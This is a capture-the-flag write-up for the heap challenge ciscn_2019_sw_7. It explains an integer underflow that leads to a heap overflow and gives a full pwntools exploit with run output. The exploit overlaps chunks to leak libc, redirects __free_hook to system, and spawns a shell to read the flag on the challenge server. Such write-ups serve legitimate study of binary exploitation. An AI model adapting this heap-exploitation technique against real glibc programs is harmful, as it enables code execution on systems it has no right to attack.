WriteUp: ciscn_2019_sw_7

0x0 Checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

0x1 Reverse Enginnering

该程序的漏洞点在New Note操作时, 若输入的Note size0时,判定语句产生Integer Underflow;使得,Note Content可绕过size的判断而输入任意长度的内容;进而产生Heap Overflow.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned __int64 __fastcall sub_A60(char *outBuffer, __int64 size, char endChar)
{
char buf; // [rsp+2Fh] [rbp-21h] BYREF
unsigned __int64 i; // [rsp+30h] [rbp-20h]
ssize_t v7; // [rsp+38h] [rbp-18h]
char *outBuffer_; // [rsp+40h] [rbp-10h]
unsigned __int64 v9; // [rsp+48h] [rbp-8h]

v9 = __readfsqword(0x28u);
v7 = 0LL;
outBuffer_ = outBuffer;
for ( i = 0LL; size - 1 > i; ++i ) // underflow attack when size==0
{
v7 = read(0, &buf, 1uLL);
if ( v7 <= 0 )
exit(1);
if ( buf == endChar )
break;
outBuffer_[i] = buf;
}
outBuffer_[i] = 0;
return i;
}

0x2 Analyze

攻击过程

  1. 新增Note A, 使A->size = 0,从而chunk_A->size = 0x20,它在heap最上边。
  2. 新增9个Note, BCDE FGHI J, 它们的size = 0x40, 从而它们chunk->size = 0x50,依次在chunk A的下方邻近排列
  3. 通过A实施heap overflow attack,篡改B_DE FGHI Jchunk->size0xa0,即原本0x50的二倍。从而B_DE FGHI J都会覆盖后面的chunk一部分。
  4. 逆序释放BCDE FGHI J, 即先后按J IHGF EDCB的顺序释放9个chunk.
  • 实际上,主要J必须释放到T-cache中不能释放到unsorted bin中,否则会被其后紧邻的top chunk吃掉(forward consolidate); B最好释放到unsorted bin中,这样通过A进行篡改会更加方便。
  • 此时的堆布局:

//
// T-cache
// 0xa0: D->E->F->G->H->I->J
// 0x50: C
// unsortedbin: B(0xa0)
//

实际上,chunk C是完全被chunk B覆盖的。
5. 将C新增成为Note(将会消耗点T-cache 0x50 bin : C);之后再次申请0x50 sizechunk, 这时由于T-cache中已经无0x50chunk,在unsorted bin中有0xa0chunk,将会触发malloc remaindering, 即将unsortedbin: B(0xa0)分割出来一个0x50chunk给当前的请求。剩下的remainder部分放回unsorted bin中。请求分配出去的部分,成为New Note B, 而放回到unsorted bin的部分,恰好和C Note重叠。这样通过读取Note C的内容,就可以leak unsorted bin ->fd (即 &main_arena->top_chunk ).
6. 读C内容,并计算出libc的偏移。
7. 将chunk B释放到T-cache 0x50 bin中。
8. 通过note A修改B->fd__free_hook的地址。这将会把__free_hook所处内存块加入到t-cache链中。
9. 申请两次chunk-size = 0x50note, 那么第二次的memory chunk即为__free_hookchunk,修改_free_hook的值为system函数地址.
10. free一个/bin/sh\0的内存chunk,即可获取shell.

0x3 Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#!python3
from pwn import *
from LibcSearcher import *

context.clear(arch='amd64', os='linux')
elf = context.binary = ELF("bin")
libc = elf.libc

context.terminal = ["tmux", "split", "-h"]

if args.LOG:
context.log_level = 'debug'

gs = '''
set breakpoint pending on
b system
# b *0x555555400BD3
continue
'''
# =============================================================================

def start():
if args.GDB:
# args['NOASLR'] = True
return gdb.debug(elf.path, gdbscript=gs)
elif args.REMOTE:
return remote('node4.buuoj.cn', 27251)
else:
return process(elf.path)

sla = lambda a, b: io.sendlineafter(a, b)
sa = lambda a, b: io.sendafter(a, b)
rl = lambda: io.recvline()
sl = lambda data: io.sendline(data)

noteID = [0]*10
def addNote(size, content):
global noteID
# sla(b'>', b'1')
sl(b'1')
sla(b'size of note:', str(size).encode())
sla(b"content of note:", content)
io.recvuntil(b"What's this?[")
offset = io.recvuntil(b"]\n",drop=True)
id = 0
for i in range(len(noteID)):
if noteID[i] == 0:
noteID[i] = int(offset, 16) #低三byte都是0概率小,不特殊处理
id = i
break
# time.sleep(0.1)
return id

def showNote(id):
# sla(b'>', b'2')
sl(b'2')
sla(b'Index:', str(id).encode())
io.recvuntil( b" : ")
return io.recvuntil(b"\nDone.",drop=True)

def freeNote(id):
global noteID
# sla(b'>', b'4')
sl(b'4')
sla(b'Index:', str(id).encode())
noteID[id] = 0


# =============================================================================

io = start()
io.timeout = 3000

A = addNote(0, b'A'*0x10) # 0x20 chunk
nlst = [addNote(0x40, b'Note') for i in range(9)] #BCDE FGHI J

freeNote(A)
Actn = 2*p64(0) + p64(0xa1) + (9*p64(0) + p64(0x51)) + 7*(9*p64(0) + p64(0xa1)) + p64(0)*2
# C->size keep 0x51
#last two p64 more to avoid \0 overwrite change our data
A = addNote(0, Actn)

# 最后一个chunk和top_chunk邻接。释放到t-cache中,
# 若进unsorted-bin,会被top_chunk back-consolidate 吃掉。= =!!
nlst.reverse()
[freeNote(i) for i in nlst]
## now:
# T-cache
# 0xa0: D->E->F->G->H->I->J
# 0x50: C
# unsortedbin: B(0xa0)
##

C = addNote(0x40, b'C'*0x10)
#trigger B remainderring, C will be the remainder and linked into unsortedbin
B = addNote(0x40, b'B')

Cctn = showNote(C)
log.info('Cctn: {}'.format(Cctn))
arena = u64(Cctn.ljust(8, p8(0))) - 0x60
log.info('arena: {}'.format(hex(arena)))
libc.address = arena - (libc.sym.__malloc_hook + 0x10)
log.success('libc.address: {}'.format(hex(libc.address)))

freeNote(B) #0x50 tcache bin

freeNote(A)
Actn = 16*b'a' + p64(0x51) + p64(libc.sym.__free_hook - 8)
A = addNote(0, Actn)
freeNote(A)

B = addNote(0x40, b'B')
freeHookMem = addNote(0x40, p64(libc.sym.system))

Actn = 16*b'a' + p64(0x51) + b'/bin/sh\0'
A = addNote(0, Actn)

freeNote(B)

# =============================================================================
#got shell
time.sleep(0.1)
sl(b'cat flag')
flag = rl()
log.info('flag: {}'.format(flag))
# io.interactive()
io.close()

0x4 Output Example

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
╰─$ python xpl.py REMOTE
[*] 'ciscn_2019_sw_7/bin'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] 'libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to node4.buuoj.cn on port 27251: Done
[*] Cctn: b'\xa0,\xe3\xcf\x8d\x7f'
[*] arena: 0x7f8dcfe32c40
[+] libc.address: 0x7f8dcfa47000
[*] flag: b'flag{d0bc3973-****-40d6-****-984b84217efa}\n'
[*] Closed connection to node4.buuoj.cn port 27251

0x5 The Challenge

https://buuoj.cn/challenges#ciscn_2019_sw_7